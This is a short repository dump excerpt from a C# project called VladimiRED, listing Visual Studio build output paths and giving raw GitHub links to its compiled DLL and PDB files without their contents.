/VladimiRED/obj/x64/Release/VladimiRED.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Tools\VladimiRED\VladimiRED\bin\x64\Release\VladimiRED.pdb
2 | C:\Tools\VladimiRED\VladimiRED\obj\x64\Release\VladimiRED.csproj.AssemblyReference.cache
3 | C:\Tools\VladimiRED\VladimiRED\obj\x64\Release\VladimiRED.csproj.CoreCompileInputs.cache
4 | C:\Tools\VladimiRED\VladimiRED\obj\x64\Release\VladimiRED.pdb
5 | C:\Tools\VladimiRED\VladimiRED\bin\x64\Release\VladimiRED.dll.config
6 | C:\Tools\VladimiRED\VladimiRED\bin\x64\Release\VladimiRED.dll
7 | C:\Tools\VladimiRED\VladimiRED\obj\x64\Release\VladimiRED.dll
8 |
--------------------------------------------------------------------------------
/VladimiRED/obj/x64/Release/VladimiRED.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/x64/Release/VladimiRED.dll
--------------------------------------------------------------------------------
/VladimiRED/obj/x64/Release/VladimiRED.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/x64/Release/VladimiRED.pdb
--------------------------------------------------------------------------------